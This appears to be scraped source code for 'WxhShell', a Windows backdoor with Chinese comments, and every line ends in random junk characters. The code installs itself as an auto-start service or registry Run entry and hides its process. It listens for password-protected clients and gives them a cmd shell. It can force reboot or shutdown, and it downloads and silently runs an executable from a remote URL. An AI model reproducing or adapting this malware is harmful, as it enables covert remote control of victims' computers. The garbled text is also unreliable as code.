    if(Boot(SHUTDOWN)) zkh hN"bX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOl>5:D6  
    else { oSn! "<x  
    closesocket(wsh); Q sg/ V]  
    ExitThread(0); 5 o#<`_=J  
    } {Z#e{~m#  
    break; qx2E-PDL;<  
    } |.(CIu~b  
  // 获取shell 4bi NGl~  
  case 's': { zj>aaY  
    CmdShell(wsh); h`5YA89  
    closesocket(wsh); J%\- 1  
    ExitThread(0); Dn_"B0$lk  
    break; 2~!R*i  
  } R <;OEN  
  // 退出 V06CCy8n  
  case 'x': { `ke3+%uj o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9c6czirwR^  
    CloseIt(wsh); skIiJ'db  
    break; bo@,4xw  
    } ~+N76BX  
  // 离开 *;hY.EuoFz  
  case 'q': { T- |9o|~z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gB>imr#e&  
    closesocket(wsh); sno`=+|U]  
    WSACleanup(); ~)q g  
    exit(1); \ ]   
    break; 4M}|/?<Br  
        } +VCo$o  
  } r{\BbUnf)  
  } uf)W-Er6~  
J7BFk ?=  
  // 提示信息 -AjH}A[!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oW 1"%i%  
} ~x|aoozL  
  } ~:>AR` 9G  
#:J: YMv  
  return; *@_u4T7|{  
} keLR1qf  
7]Al*)  
// shell模块句柄 e74zR6  
int CmdShell(SOCKET sock) B%tIwUE2  
{ Vb@ 4(Q  
STARTUPINFO si; B.$PhmCG  
ZeroMemory(&si,sizeof(si)); 5@P%iBA4(3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jn-QKdqM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'K@-Z]  
PROCESS_INFORMATION ProcessInfo; TUh&d5a9H  
char cmdline[]="cmd"; ]^=|Zd-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qib 7Z]j  
  return 0; 6HoqEku/Q  
} Hjs }  
;%' b;+  
// 自身启动模式 AZwl fdLB  
int StartFromService(void) @}<"N  
{ Q%ruQ#  
typedef struct vUNisVA  
{ 55.;+B5L *  
  DWORD ExitStatus; } h[>U  
  DWORD PebBaseAddress; CI`N8 f=v  
  DWORD AffinityMask; s%~L4Wmcq  
  DWORD BasePriority; zv //K_  
  ULONG UniqueProcessId; !;%y$$gxh  
  ULONG InheritedFromUniqueProcessId; /XcDYMKgh  
}   PROCESS_BASIC_INFORMATION; b~7Jh:%@;  
1Cm~X$S.  
PROCNTQSIP NtQueryInformationProcess; s]U4B<q  
AZ[75>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )kYOHS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~eP  
Nl@k*^  
  HANDLE             hProcess; W wuZ(>|  
  PROCESS_BASIC_INFORMATION pbi; $5,~JYcb  
!tEe\K\e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9)+@0fG)  
  if(NULL == hInst ) return 0; -G9|n#zCU  
G.g|jP'n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iq?l#}]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eNRs&^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !X|k"km"  
{<2>6 _z  
  if (!NtQueryInformationProcess) return 0; #~^btL'dHF  
Ln. 9|9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7^$)VBQ/  
  if(!hProcess) return 0; "PMQyzl  
+t98 @  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DkgUvn/S  
#^6^  
  CloseHandle(hProcess); -Ep!- a  
Z%}4bJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B0d%c&N${  
if(hProcess==NULL) return 0; G @g h#[b  
jd 1jG2=f  
HMODULE hMod; G"T\=cQz  
char procName[255]; uWjN2#&,  
unsigned long cbNeeded; fc@'9- pt  
$X \va?(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ["y6b*;x  
9#7J:PfZ<  
  CloseHandle(hProcess); zB*euHIqZ  
L@RIZu>ZW+  
if(strstr(procName,"services")) return 1; // 以服务启动 @o>EBZ7MS  
qI%&ay"/  
  return 0; // 注册表启动 V1B(|P  
} _qn?2u3mnR  
\M{[f=6llh  
// 主模块 @w\I qr  
int StartWxhshell(LPSTR lpCmdLine) *5k+t  
{ wv?RO*E  
  SOCKET wsl; BcQEG *N  
BOOL val=TRUE; E{4 e<%Y,  
  int port=0; gbDX7r-  
  struct sockaddr_in door; cWMUj K/N  
yto[8;)_  
  if(wscfg.ws_autoins) Install(); [:h5}  
;HNq>/{  
port=atoi(lpCmdLine); <8!  Tq  
$7Z)Yp&T  
if(port<=0) port=wscfg.ws_port; wpXgPVZT  
,:)`+v<  
  WSADATA data; T%$jWndI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !^w E/  
jV O{$j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y9Z]i$qS&k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qnChM ;)  
  door.sin_family = AF_INET; `zA#z />  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VT\ "q1)p  
  door.sin_port = htons(port); X|}2_B  
thc <xxRP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _Mk7U@j+9  
closesocket(wsl); +D&Pp0xe  
return 1; [Wi 1|]X"G  
} IXpc,l `  
jq-l5})h  
  if(listen(wsl,2) == INVALID_SOCKET) { h|D0z_f  
closesocket(wsl); ;W]\rft[  
return 1; +lE90y  
} *$,:m  
  Wxhshell(wsl); /@"Y^  
  WSACleanup(); :"Y*<=x#2  
I|9 SiZ0  
return 0; ~g6 3qs  
w(9*7pp  
} ",yc0 2<  
`JB?c  
// 以NT服务方式启动 a0=WfeT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T 2F6)e  
{ ,WD X(  
DWORD   status = 0; :Y P#  
  DWORD   specificError = 0xfffffff; B07v^!Z>  
]p7jhd=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *JX;|S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ICC%,$C~l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hI},~af  
  serviceStatus.dwWin32ExitCode     = 0; K/L;8a  
  serviceStatus.dwServiceSpecificExitCode = 0; Q>Qibr  
  serviceStatus.dwCheckPoint       = 0; g%nl!dgS  
  serviceStatus.dwWaitHint       = 0; h6~$/`&]b  
_n;;][]S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bQ'8SCe  
  if (hServiceStatusHandle==0) return; `=UWqb(K_  
@-HG`c ct  
status = GetLastError(); pav'1d%  
  if (status!=NO_ERROR) rHjq1-t  
{ FAsFjRS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; - VxDNT}Tr  
    serviceStatus.dwCheckPoint       = 0; zFz10pH  
    serviceStatus.dwWaitHint       = 0; >w+HHs/$wK  
    serviceStatus.dwWin32ExitCode     = status; wE]K~y!`  
    serviceStatus.dwServiceSpecificExitCode = specificError; q1?&Ev^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s{0aBeq  
    return; Q GZyL)Q  
  } X5LBEOG  
n_?tN\M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3"N)xO-  
  serviceStatus.dwCheckPoint       = 0; \xv;sl$f  
  serviceStatus.dwWaitHint       = 0; Fqy\CMC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t.p~\6Yi  
} U;N:j8  
8[vc?+>&  
// 处理NT服务事件,比如:启动、停止 @$9'@")  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M{g%cR0  
{ */:uV B,b2  
switch(fdwControl) >-8cU_m7s  
{ 6;'dUGvH  
case SERVICE_CONTROL_STOP: qz?mh4Oh  
  serviceStatus.dwWin32ExitCode = 0; M(x$xAiD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b~=0[Rv  
  serviceStatus.dwCheckPoint   = 0; t>=fTkB  
  serviceStatus.dwWaitHint     = 0; &i+Ce  
  { Rk!X]-`=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WOzf]3Xcj  
  } v6.t{6zYgY  
  return; M?m,EQh.  
case SERVICE_CONTROL_PAUSE: s\!>"J bAQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3?2 FP|G8  
  break; k:jSbbQ  
case SERVICE_CONTROL_CONTINUE: I[)%,jd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Od f[*  
  break; .p0Clr!  
case SERVICE_CONTROL_INTERROGATE: HY)-/  
  break; *(C(tPhC  
}; wE+${B03  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .*m>\>Gsgw  
} 7 d LuX   
;AO#xv+#  
// 标准应用程序主函数 IxLhU45  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q9Y9w(  
{ .7K7h^*F  
`]Q:-h  
// 获取操作系统版本 'AN>`\mR$  
OsIsNt=GetOsVer(); =[b)1FUp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q`-;AG|xF  
%_!bRo  
  // 从命令行安装 =UUU$hq2  
  if(strpbrk(lpCmdLine,"iI")) Install(); MxT-1&XL  
|$?bc3  
  // 下载执行文件 F~ h7{@\  
if(wscfg.ws_downexe) { .o) `m9/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .L'.c/ s  
  WinExec(wscfg.ws_filenam,SW_HIDE); yw];P o,  
} AGLscf.  
% qV 6  
if(!OsIsNt) { eek7=Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 |{CfWSB7~@  
HideProc(); th;{V%:LW  
StartWxhshell(lpCmdLine); &=VDASEu  
} ^R:cd8+?%  
else %CK^Si%+  
  if(StartFromService()) ^fZ&QK  
  // 以服务方式启动 s"t$0cH9  
  StartServiceCtrlDispatcher(DispatchTable); >=[(^l  
else 'Lu__NfN  
  // 普通方式启动 '7XIhN9  
  StartWxhshell(lpCmdLine); H$y-8-&)  
/~zai}  
return 0; yUpgoX(6  
} &Z`#cMR{H  
hCC<?5q  
C=eF.FB;'  
?Y@N`S  
=========================================== dq]0X?[6  
rzt Ru  
iyg*Xbmi~.  
%}%Qc6.H  
Z]B~{!W1  
|UX(+; n  
" v%q0OX>9X"  
<yd{tD$A*  
#include <stdio.h> 3\XU_Xs(]  
#include <string.h> HSc~*Q  
#include <windows.h> 1fpQLaT  
#include <winsock2.h> %44leINx  
#include <winsvc.h> UEguF &  
#include <urlmon.h> ljb7oA3cP4  
[PDNwh0g5  
#pragma comment (lib, "Ws2_32.lib") Q\ 0cvmU  
#pragma comment (lib, "urlmon.lib") p>4-s, W  
dw*_(ys  
#define MAX_USER   100 // 最大客户端连接数 XCBL}pNkR  
#define BUF_SOCK   200 // sock buffer g"}%2~Urf  
#define KEY_BUFF   255 // 输入 buffer 0$ S8 fF@  
NxsBX :XDn  
#define REBOOT     0   // 重启 CLUW!F  
#define SHUTDOWN   1   // 关机 c-(UhN3WG  
]7RD"}  
#define DEF_PORT   5000 // 监听端口 d8c=L8~jt  
G|!on<l&  
#define REG_LEN     16   // 注册表键长度 ?.Ca|H<  
#define SVC_LEN     80   // NT服务名长度 s+<Yg$)  
i%0ur}p  
// 从dll定义API :51/29}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g\&g N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K1M%!JKh)x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `~By)?cT_>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lE4HM$p   
_sTROd)Vh  
// wxhshell配置信息 )8$=C#qC[  
struct WSCFG { ^G}47(  
  int ws_port;         // 监听端口 tM'P m   
  char ws_passstr[REG_LEN]; // 口令 =Jyu4j *}  
  int ws_autoins;       // 安装标记, 1=yes 0=no iMDM1}b  
  char ws_regname[REG_LEN]; // 注册表键名 ~kEI4}O  
  char ws_svcname[REG_LEN]; // 服务名 uFinv2Z '  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |R/%D%_g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A;]}m8(*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1=d6NX)B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #Up86(Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 62ws/8d6f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |xdsl,  
k@k&}N0{  
}; `T5W}p[6  
]1#e#M]#  
// default Wxhshell configuration 6[ j.@[t  
struct WSCFG wscfg={DEF_PORT, ~E2KZm  
    "xuhuanlingzhe", lww!-(<ww  
    1, Ng~FEl  
    "Wxhshell", H[U!%Z  
    "Wxhshell", 3cK I  
            "WxhShell Service", Ws|j#X<  
    "Wrsky Windows CmdShell Service", 2{H@(Vgpbr  
    "Please Input Your Password: ", Dv5D~on{  
  1, #_^Lb]jkM  
  "http://www.wrsky.com/wxhshell.exe", >I-RGW'A  
  "Wxhshell.exe" ;;6uw\6 O  
    }; V{/?FO?E  
a%/9v"}  
// 消息定义模块 s@K4u^$A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .$+#1-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 61k"p2?+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }HFN3cq;C  
char *msg_ws_ext="\n\rExit."; 'h|DO/X~L  
char *msg_ws_end="\n\rQuit."; P2#XKG  
char *msg_ws_boot="\n\rReboot..."; K8GP@yD]M  
char *msg_ws_poff="\n\rShutdown..."; P-yjN  
char *msg_ws_down="\n\rSave to "; <7/R,\Wg~  
7QiIiWqIWC  
char *msg_ws_err="\n\rErr!"; \/zq7j  
char *msg_ws_ok="\n\rOK!"; YIQ 4t  
e> e}vZlX  
char ExeFile[MAX_PATH]; @#T|Y&  
int nUser = 0; $_"'&zQ'  
HANDLE handles[MAX_USER]; 7q?, ?  
int OsIsNt; 3Q.#c,`jV  
FWrX3i  
SERVICE_STATUS       serviceStatus; SB H(y)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C zs8!S  
1\ o59Y  
// 函数声明 %)zodf  
int Install(void); 'YmIKIw  
int Uninstall(void); `ZYoA t]C~  
int DownloadFile(char *sURL, SOCKET wsh); V5V bJBpf  
int Boot(int flag); /Kql>$I  
void HideProc(void); gY/"cq  
int GetOsVer(void); h-q3U%R4}@  
int Wxhshell(SOCKET wsl); [9evz}X  
void TalkWithClient(void *cs); fI?>+I5  
int CmdShell(SOCKET sock); C~,a!qY  
int StartFromService(void); ! >(7+B3E*  
int StartWxhshell(LPSTR lpCmdLine); 1"MhGNynB>  
riY~%9iV'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {FeDvhv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t5\-v_mG=&  
#rMlI3;  
// 数据结构和表定义 .o(fe\KHf  
SERVICE_TABLE_ENTRY DispatchTable[] = &Cr:6W@A  
{ _n0CfH.v  
{wscfg.ws_svcname, NTServiceMain}, }~e8e   
{NULL, NULL} 2=,lcWr  
}; 5Dm.K?l;  
>%}C^gu)  
// 自我安装 6m* QX+  
int Install(void) ]b2pG'  
{ % ?0:vn  
  char svExeFile[MAX_PATH]; @vC4[:"pD}  
  HKEY key; w'Y7IlC  
  strcpy(svExeFile,ExeFile); Ns>- o  
FtP0krO(  
// 如果是win9x系统,修改注册表设为自启动 Xix L  R  
if(!OsIsNt) { ? uzRhC_)!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ElcjtYu4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s4X>.ToMC  
  RegCloseKey(key); k:t ]s_`<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e'6/` Evqz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2b}t,&bv?  
  RegCloseKey(key); Hq'`8f8N  
  return 0; PxWT1 !  
    } e24WW^S  
  } o[Q MTP  
} (y=C_wvqZ  
else { 3 oF45`3FV  
BTqS'NuT  
// 如果是NT以上系统,安装为系统服务 k+# %DK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _C%3h5  
if (schSCManager!=0) Ta ZmRL  
{ !"?#6-,Xn  
  SC_HANDLE schService = CreateService hgYZOwQ  
  ( 0fb2;&pUa  
  schSCManager, s Ep"D+f  
  wscfg.ws_svcname, b[r8 e  
  wscfg.ws_svcdisp, PCHu #5j_a  
  SERVICE_ALL_ACCESS, DU0zez I9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M'?,] an  
  SERVICE_AUTO_START, ZQ4p(6a   
  SERVICE_ERROR_NORMAL, %aG5F}S2~  
  svExeFile, v|XTr,#  
  NULL, ]l_\71  
  NULL, =)0,#9k U]  
  NULL, }NHaCG[,  
  NULL, 5;tD"/nz  
  NULL ?A K(|  
  ); 1OGx>J6  
  if (schService!=0) |s7s6k)mm  
  { t6bV?nc  
  CloseServiceHandle(schService); bkOv2tZ  
  CloseServiceHandle(schSCManager); Q3kdlxXR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -]0OKE&  
  strcat(svExeFile,wscfg.ws_svcname); .5^cb%B*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^n*)7K[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f%is~e~wc  
  RegCloseKey(key);  U f:`  
  return 0; R/~p>apg8  
    } kvL=> A  
  } !j9t*2m[  
  CloseServiceHandle(schSCManager); epA:v|S  
} l5S aT,%  
} 5Yg'BkEr  
9'fQHwsJ  
return 1; Bd!bg|uO*  
} Z^bQ^zk-  
,;EIh}  
// 自我卸载 D$w6V  
int Uninstall(void) v,FU^f-'  
{ 0M_ DB=  
  HKEY key; h{)kQLuzT  
ep!Rf:  
if(!OsIsNt) { [;n9:Qxf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +F R0(T  
  RegDeleteValue(key,wscfg.ws_regname); jZu[n)u'C  
  RegCloseKey(key); }~YA5^VQ$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NH[kNi'  
  RegDeleteValue(key,wscfg.ws_regname); lEH65;Nh*  
  RegCloseKey(key); _F6OM5F"N  
  return 0; :i0uPh\0  
  } $njUXSQ;  
} !y\'EW3|G  
} XQY#716)  
else { 8r*E-akuyr  
cXA i k-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %^?fMeI|Y  
if (schSCManager!=0) Y@;CF  
{ &C `Gg<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E(*0jAvO[z  
  if (schService!=0) J?*1*h  
  { DwM)r7<Ex  
  if(DeleteService(schService)!=0) { U\g/2dM  
  CloseServiceHandle(schService); -WY<zJ  
  CloseServiceHandle(schSCManager); 7o7)0l9!  
  return 0; ew>XrT=Zm  
  } ()Y~Q(5ji  
  CloseServiceHandle(schService); z 9vInf@M  
  } vk}n,ecl  
  CloseServiceHandle(schSCManager); OSRp0G20k\  
} dcDyK!zz"  
} hCi60%g/n  
_zR+i]9   
return 1; +Zb;Vn4  
} (of#(I[m7  
"Bh}}!13  
// 从指定url下载文件 T-'OwCB1q  
int DownloadFile(char *sURL, SOCKET wsh) )MtF23k)g  
{ w^\52  
  HRESULT hr; 4-l 8,@9  
char seps[]= "/"; .N,bIQnj  
char *token; 57'*w]4f  
char *file; BGvre'67  
char myURL[MAX_PATH]; FI)17i$  
char myFILE[MAX_PATH]; &agWaf1%a  
` )/vq-9  
strcpy(myURL,sURL); pd:WEI ,  
  token=strtok(myURL,seps); ts ,ZvY]  
  while(token!=NULL) 3OrczJ=[UF  
  { F8nYV  
    file=token; >"??!|XG^  
  token=strtok(NULL,seps); e6`Jbu+J<f  
  } jte.Xy~g  
0.\/\V:H6  
GetCurrentDirectory(MAX_PATH,myFILE); NG=@ -eu  
strcat(myFILE, "\\"); R   
strcat(myFILE, file); MR;1 2*p  
  send(wsh,myFILE,strlen(myFILE),0); YDIG,%uv  
send(wsh,"...",3,0); RF`.xQ26=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OTvPUkp*  
  if(hr==S_OK) 1D7nkAy  
return 0; WltQ63u  
else xzdf^Ce  
return 1; GF"hx`zyJ  
{dhXIs  
} _:ReN_0  
-Fi`Z$  
// 系统电源模块 Wvq27YK'  
int Boot(int flag) ^-TE([bW  
{ o8 IL $:  
  HANDLE hToken; WO7z  
  TOKEN_PRIVILEGES tkp; )!3V/`I  
/}((l%UE.  
  if(OsIsNt) { u0}vWkn\4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L 8c0lx}Nn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sG(~^hJ_  
    tkp.PrivilegeCount = 1; 9Uh"iMB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g1;:KzVv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /Y/UM3/  
if(flag==REBOOT) { u]g%@3Pn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )1Y{Q Y}l  
  return 0; X@--m6-  
} >,v`EIg  
else { eln)BW#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~G)S   
  return 0; I )~GZ  
} B+$%*%b  
  } !`M,XSp(  
  else { 3#W T.4k  
if(flag==REBOOT) { h! M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Si6]3-^@  
  return 0; FDv<\2+ c  
} Fh)IgzFj  
else { 48J@C vU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >>QY'1Eu  
  return 0; T tfo^ksw  
} @T@< _ ?)  
} v>6"j1Z  
~Sdb_EZ  
return 1; loEPr5 bL  
} v|Pv 03%?7  
bYcV$KJk  
// win9x进程隐藏模块 R]JT&p|w.1  
void HideProc(void) ,A9]CQ  
{ hE &xE;  
>d(~# Z`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EW}Bzh>b  
  if ( hKernel != NULL ) ##q2mm:a9P  
  { q?Cnav`DY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gK+ 4C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @Y?#Sl*  
    FreeLibrary(hKernel); R1s`z|?  
  } AKY1o.>z  
Mhm@R@  
return; w{{gu1#]G  
} ,D5cjaX<  
d}Xr}  
// 获取操作系统版本 fIM,lt  
int GetOsVer(void) )n1_(;  
{ Tg7an&#  
  OSVERSIONINFO winfo; FX;QG94!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O 5!7'RZ  
  GetVersionEx(&winfo); _;W.q7 b]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {k(g]#pP  
  return 1; @g|v;B|{  
  else u/UrAqw  
  return 0; @Rg/~\K  
} {WJm  
G5{T5#  
// 客户端句柄模块 xv46r=>  
int Wxhshell(SOCKET wsl) <'}YyU=  
{ *HU &4E\a  
  SOCKET wsh; l(yZO$  
  struct sockaddr_in client; adlV!k7RG  
  DWORD myID; r^2p*nr}  
I"xo*}  
  while(nUser<MAX_USER) BIH-"vTy  
{ O6@j &*jS  
  int nSize=sizeof(client); ,1hxw<sNR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f@6QvkIa  
  if(wsh==INVALID_SOCKET) return 1; e*sfPHt  
n#mA/H;wV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =WyDp97@+  
if(handles[nUser]==0) %Wg'i!?cB  
  closesocket(wsh); C:GK,?!Jn'  
else 9U7nKJ+iby  
  nUser++; ,t3wp#E2#  
  } G%BjhpL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2L!u1  
GL&y@6  
  return 0; K:J3Z5"  
} QZ!Y2Bz(4  
6=kEyJT'  
// 关闭 socket L]yS[UN$  
void CloseIt(SOCKET wsh) \c,ap49RC  
{  ;i4Q|  
closesocket(wsh); SQ@y;|(  
nUser--; x;w6na  
ExitThread(0); CJtcn_.F  
} G `+T+  
A4Rug\p]  
// 客户端请求句柄 #HYr0Tw6`  
void TalkWithClient(void *cs) 2{D{sa  
{ Id*Ce2B  
PYQ;``~x  
  SOCKET wsh=(SOCKET)cs; W=lyIb{?^0  
  char pwd[SVC_LEN]; mD/9J5:  
  char cmd[KEY_BUFF]; @efh{  
char chr[1]; 6e(Qwt  
int i,j; 8<5]\X  
rW<KKGsRWQ  
  while (nUser < MAX_USER) { +\x,HsUc"  
[2>yYr s_=  
if(wscfg.ws_passstr) { Y2|#V#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3s5z UT;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RPwbTAl}  
  //ZeroMemory(pwd,KEY_BUFF); C,wL0Yj[  
      i=0; }q`ts=dlGt  
  while(i<SVC_LEN) { +00b)TF  
UMv.{iEj  
  // 设置超时 dA#Q}.*r  
  fd_set FdRead; DP[IZ C  
  struct timeval TimeOut; s:?SF.  
  FD_ZERO(&FdRead); +ndaLhj'  
  FD_SET(wsh,&FdRead); 2iHUZzz\  
  TimeOut.tv_sec=8; B|Du@^$  
  TimeOut.tv_usec=0; fJ5iS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i3dkYevs?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <qtr   
Wfu(*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '>NCMB{*  
  pwd=chr[0]; 7X`l&7IXP  
  if(chr[0]==0xd || chr[0]==0xa) { bW$,?8(  
  pwd=0; )}g(b=  
  break; *RDn0d[  
  } 2SD`OABf#  
  i++; Ut*`:]la  
    } c7<wZ  
u$h 4lIl  
  // 如果是非法用户,关闭 socket QaS1Dh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x%s-+&  
} \?w2a$?6w  
?e` ^P   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rTM}})81  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hmvfw:Nq4  
kC WEtbz1  
while(1) { oNr-Q& C,  
PZ2;v<  
  ZeroMemory(cmd,KEY_BUFF); :C7_Jp*Qv  
LVX[uWEM  
      // 自动支持客户端 telnet标准   d<% z 1Dj2  
  j=0; B%" d~5Y  
  while(j<KEY_BUFF) { $}RJ,%~'x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !4]T XH0f  
  cmd[j]=chr[0]; O80<Z#%j`  
  if(chr[0]==0xa || chr[0]==0xd) { @>u]4Jn  
  cmd[j]=0; \@WDV  
  break; |_LU~7./  
  } r/4``shg  
  j++; [V^WGW2oY  
    } c*(bO3 b  
J\/cCW-rF  
  // 下载文件 w&X<5'GM  
  if(strstr(cmd,"http://")) { ccB&O _  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *,3SGcYdJj  
  if(DownloadFile(cmd,wsh)) D~biKrg?=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [6pD  
  else u&1q [0y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~:0sk"t$1  
  } TBs|r#  
  else { }]e-{C}  
,kF1T,  
